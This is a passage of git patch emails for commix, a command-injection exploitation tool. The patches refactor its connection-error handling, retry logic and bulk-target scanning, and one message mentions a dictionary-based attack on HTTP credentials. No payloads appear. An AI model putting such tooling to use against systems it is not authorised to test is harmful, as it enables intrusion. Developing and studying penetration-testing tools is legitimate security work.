SystemExit() except _urllib.error.HTTPError as err_msg: error_description = "" @@ -164,14 +155,15 @@ def examine_request(request): error_description = "Non-standard HTTP status code" err_msg = str(err_msg).replace(": "," (") + error_description + ")." if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) - return False + return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except _urllib.error.URLError as e: err_msg = "Unable to connect to the target URL" @@ -181,14 +173,45 @@ def examine_request(request): err_msg += "." pass if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except Exception as err_msg: + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + pass + elif menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + pass + else: + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg).replace(": "," (") + ")." + if menu.options.bulkfile: + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url + print(settings.print_warning_msg(warn_msg)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check internet connection before assessing the target. @@ -207,7 +230,7 @@ def check_internet(url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(settings.CHECK_INTERNET_ADDRESS) - examine_request(request) + examine_request(request, url) except: print(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." @@ -288,6 +311,9 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False info_msg = "Setting URL '" + url + "' for tests. " print(settings.print_info_msg(info_msg)) + # initiate total of requests + settings.TOTAL_OF_REQUESTS = 0 + settings.MAX_RETRIES = 2 request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False @@ -297,7 +323,7 @@ def url_response(url): sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - response = examine_request(request) + response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d1cc8d46a9..8ed2da1bcf 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -173,6 +173,7 @@ def https_open(self, req): if menu.options.traffic_file: req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) + try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fd610dcc3..30d4ea92c1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From dd4b4bbf38881d88de24d7e519691b998b2d2539 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Apr 2022 07:48:16 +0300 Subject: [PATCH 0109/1023] Minor update regarding commit https://github.com/commixproject/commix/commit/3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b --- src/core/injections/controller/controller.py | 4 ++-- src/core/main.py | 11 ++++++----- src/core/requests/headers.py | 2 +- src/core/requests/redirection.py | 2 +- src/utils/settings.py | 3 ++- 5 files changed, 12 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b99289058c..7ea6936d0f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -707,7 +707,7 @@ def post_request(url, http_request_method, filename, timesec): def perform_checks(url, http_request_method, filename): def basic_level_checks(): - if not menu.options.bulkfile: + if not settings.MULTI_TARGETS: settings.PERFORM_BASIC_SCANS = False else: settings.PERFORM_BASIC_SCANS = True @@ -849,7 +849,7 @@ def do_check(url, http_request_method, filename): print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - if not settings.CHECK_BOTH_OS and not menu.options.bulkfile: + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: # if not menu.options.bulkfile or settings.EOF: # print(settings.SINGLE_WHITESPACE) raise SystemExit() diff --git a/src/core/main.py b/src/core/main.py index 4d7f5dfe20..cbaa050cd5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -138,7 +138,7 @@ def examine_request(request, url): err_msg = str(e.args[0]).split("] ")[1] + "." except IndexError: err_msg = str(e).replace(": "," (") + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -154,7 +154,7 @@ def examine_request(request, url): if len(str(err_msg).split(": ")[1]) == 0: error_description = "Non-standard HTTP status code" err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -172,7 +172,7 @@ def examine_request(request, url): except IndexError: err_msg += "." pass - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -202,7 +202,7 @@ def examine_request(request, url): error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg).replace(": "," (") + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -307,7 +307,7 @@ def url_response(url): # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() - if menu.options.bulkfile: + if settings.MULTI_TARGETS: settings.TOR_CHECK_AGAIN = False info_msg = "Setting URL '" + url + "' for tests. " print(settings.print_info_msg(info_msg)) @@ -936,6 +936,7 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.strip() for url in f] + settings.MULTI_TARGETS = True # Removing duplicates from list. clean_bulkfile = [] [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8ed2da1bcf..c6403c3068 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -281,7 +281,7 @@ def https_open(self, req): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: raise else: print(settings.print_critical_msg(err_msg)) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a532c9ebe3..90c19747b1 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -190,7 +190,7 @@ def http_error_405(self, req, fp, code, msg, headers): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." - if not menu.options.bulkfile: + if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 30d4ea92c1..0a507885cb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1085,4 +1085,5 @@ def sys_argv_errors(): CRAWLED_SKIPPED_URLS = 0 +MULTI_TARGETS = False # eof \ No newline at end of file From b376f3deac178aa8d3e761faa8d5a6a46c5824e8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 16 Apr 2022 09:31:36 +0300 Subject: [PATCH 0110/1023] Minor update --- src/core/main.py | 9 +++------ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index cbaa050cd5..ae59505bea 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -141,7 +141,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -157,7 +156,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -175,7 +173,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -205,7 +202,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -313,7 +309,6 @@ def url_response(url): print(settings.print_info_msg(info_msg)) # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - settings.MAX_RETRIES = 2 request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False @@ -807,7 +802,9 @@ def main(filename, url): # Retries when the connection timeouts. if menu.options.retries: settings.MAX_RETRIES = menu.options.retries - + else: + if menu.options.MULTI_TARGETS: + settings.MAX_RETRIES = 2 # Seconds to delay between each HTTP request. if menu.options.delay > 0: settings.DELAY = menu.options.delay diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a507885cb..7805cd2f5b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0c5f4ca9c1f2f3bbd816f1992d35f7c0d0d91cb2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 17 Apr 2022 09:05:00 +0300 Subject: [PATCH 0111/1023] Fixes https://github.com/commixproject/commix/issues/757 (and other multiple fixes and updates) --- src/core/injections/controller/checks.py | 39 ++++- src/core/main.py | 187 ++++------------------- src/core/requests/headers.py | 75 ++------- src/core/requests/parameters.py | 2 +- src/core/requests/redirection.py | 49 +----- src/utils/crawler.py | 4 +- src/utils/settings.py | 2 +- 7 files changed, 85 insertions(+), 273 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fdf2457307..8c75fb6835 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -31,6 +31,7 @@ from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode +from socket import error as SocketError from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -49,6 +50,34 @@ except: settings.READLINE_ERROR = True +""" +Connection exceptions +""" + +def connection_exceptions(err_msg): + settings.VALID_URL = False + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: + error_msg = str(err_msg.args[0]) + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + error_msg = "can't establish SSL connection" + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected." + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "connection was forcibly closed by the target URL." + error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." + print(settings.print_critical_msg(error_msg)) + if not settings.VALID_URL : + if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: + raise SystemExit() + """ check for not declared cookie(s) """ @@ -301,13 +330,15 @@ def check_connection(url): socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except socket.error as err: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check current assessment phase. diff --git a/src/core/main.py b/src/core/main.py index ae59505bea..a4bcb1fd7d 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -16,7 +16,6 @@ import re import os import sys -import errno import random from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines @@ -60,7 +59,6 @@ # Use Colorama to make Termcolor work on Windows too :) init() - """ Define HTTP User-Agent header. """ @@ -103,6 +101,12 @@ def user_agent_header(): Examine the request """ def examine_request(request, url): + # Retries when the connection timeouts. + if menu.options.retries: + settings.MAX_RETRIES = menu.options.retries + else: + if settings.MULTI_TARGETS: + settings.MAX_RETRIES = 1 try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). @@ -127,63 +131,13 @@ def examine_request(request, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - else: - try: - err_msg = str(e.args[0]).split("] ")[1] + "." - except IndexError: - err_msg = str(e).replace(": "," (") + ")." - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.HTTPError as err_msg: - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.URLError as e: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except Exception as err_msg: + settings.VALID_URL = False + reason = "" if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + reason = str(err_msg) if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass + print(settings.print_critical_msg(err_msg)) elif menu.options.auth_type and menu.options.auth_cred: err_msg = "The provided pair of " + menu.options.auth_type err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" @@ -192,22 +146,25 @@ def examine_request(request, url): err_msg += " in order to perform a dictionary-based attack." print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ + settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ + settings.NOT_FOUND_ERROR in str(err_msg).lower(): + reason = str(err_msg) if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url + if len(reason) != 0: + reason = " (Reason: " + reason + ")." + warn_msg = "Skipping URL '" + url + "'" + reason + print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = reason + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + pass + else: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check internet connection before assessing the target. @@ -255,31 +212,12 @@ def init_request(url): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url, menu.options.data.encode()) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + request = _urllib.request.Request(url, menu.options.data.encode()) else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + request = _urllib.request.Request(url) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: @@ -572,49 +510,6 @@ def main(filename, url): if menu.options.tamper: checks.tamper_scripts() - except _urllib.error.HTTPError as err_msg: - # Check the codes of responses - if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: - print(settings.SINGLE_WHITESPACE) - content = err_msg.read() - raise SystemExit() - - # Invalid permission to access target URL page. - elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # The target host seems to be down! - elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - raise - - # The target host seems to be down! - except (_urllib.error.URLError, _http_client.BadStatusLine) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "The host seems to be down" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except AttributeError: pass @@ -638,8 +533,6 @@ def main(filename, url): err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - #session_handler.clear(url) - #raise SystemExit() try: @@ -799,12 +692,6 @@ def main(filename, url): if len(menu.options.data) == 0: menu.options.data = False - # Retries when the connection timeouts. - if menu.options.retries: - settings.MAX_RETRIES = menu.options.retries - else: - if menu.options.MULTI_TARGETS: - settings.MAX_RETRIES = 2 # Seconds to delay between each HTTP request. if menu.options.delay > 0: settings.DELAY = menu.options.delay @@ -953,22 +840,10 @@ def main(filename, url): filename = logs_filename_creation() main(filename, url) - except _urllib.error.HTTPError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.URLError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg.args[0]).split("] ")[1] + "." + err_msg = "Unable to connect to the target URL." warn_msg = "Skipping URL '" + url + "' - " + err_msg print(settings.print_warning_msg(warn_msg)) if settings.EOF: @@ -992,12 +867,6 @@ def main(filename, url): abort_msg += "during the " + checks.assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." new_line = "\n" - # if settings.FILE_BASED_STATE or \ - # settings.TEMPFILE_BASED_STATE : - # if not settings.DETECTION_PHASE and \ - # settings.EXPLOITATION_PHASE: - # if settings.VERBOSITY_LEVEL != 0: - # new_line = "" print(new_line + settings.print_abort_msg(abort_msg)) try: logs.print_logs_notification(filename, url) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c6403c3068..fdf5b69881 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -118,47 +118,16 @@ def http_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): - settings.VALID_URL = False - error_msg = "Can't establish SSL connection." - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) def https_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): - settings.VALID_URL = False - error_msg = "Can't establish SSL connection." - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + opener = _urllib.request.build_opener(connection_handler()) if len(settings.HTTP_METHOD) != 0: request.get_method = lambda: settings.HTTP_METHOD @@ -180,7 +149,8 @@ def https_open(self, req): _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if settings.VERBOSITY_LEVEL < 2: - if settings.INIT_TEST == True and not settings.UNAUTHORIZED: + if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST == True and settings.MULTI_TARGETS): print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False @@ -209,8 +179,9 @@ def https_open(self, req): warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) + if settings.MAX_RETRIES > 1: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 time.sleep(3) @@ -272,30 +243,8 @@ def https_open(self, req): raise SystemExit() # The handlers raise this exception when they run into a problem. - except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: - if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): - pass - else: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if settings.MULTI_TARGETS: - raise - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ Check for added headers. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index afcf01ec22..1543f15649 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 90c19747b1..d3731af4d5 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -24,6 +24,8 @@ from src.utils import menu from src.utils import settings from socket import error as SocketError +from src.thirdparty.six.moves import http_client as _http_client +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -162,52 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers): else: return url + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + except AttributeError: pass - # Raise exception due to ValueError. - except ValueError as err: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # Raise exception regarding urllib2 HTTPError. - except _urllib.error.HTTPError as err: - # Raise exception regarding infinite loop. - if "infinite loop" in str(err): - err_msg = "Infinite redirect loop detected." - err_msg += "Please check all provided parameters and/or provide missing ones." - print(settings.print_critical_msg(err_msg)) - else: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # The target host seems to be down. - except _urllib.error.URLError as err: - err_msg = "The host seems to be down" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - # Raise exception regarding connection aborted. - except Exception: - err_msg = "Connection aborted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 2d08a9f117..b225a48fc2 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -67,11 +67,13 @@ def request(url): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except _urllib.error.URLError as err_msg: + settings.CRAWLED_SKIPPED_URLS += 1 + if settings.CRAWLED_SKIPPED_URLS == 1: + print(settings.SINGLE_WHITESPACE) err_msg = str(err_msg) + " - Skipping " + str(url) sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - settings.CRAWLED_SKIPPED_URLS += 1 """ Check for URLs in sitemap.xml. diff --git a/src/utils/settings.py b/src/utils/settings.py index 7805cd2f5b..2ce9cf87d6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 237ec71cb19112bdb4e9b7ee731a33ba07c09cbc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Apr 2022 08:43:14 +0300 Subject: [PATCH 0112/1023] Update regarding error(s) handling --- src/core/injections/controller/checks.py | 40 ++++++++++++--- src/core/main.py | 62 +++++++++++++----------- src/core/requests/headers.py | 31 +++--------- src/core/requests/redirection.py | 7 ++- src/utils/crawler.py | 2 +- src/utils/settings.py | 5 +- 6 files changed, 83 insertions(+), 64 deletions(-) diff --git 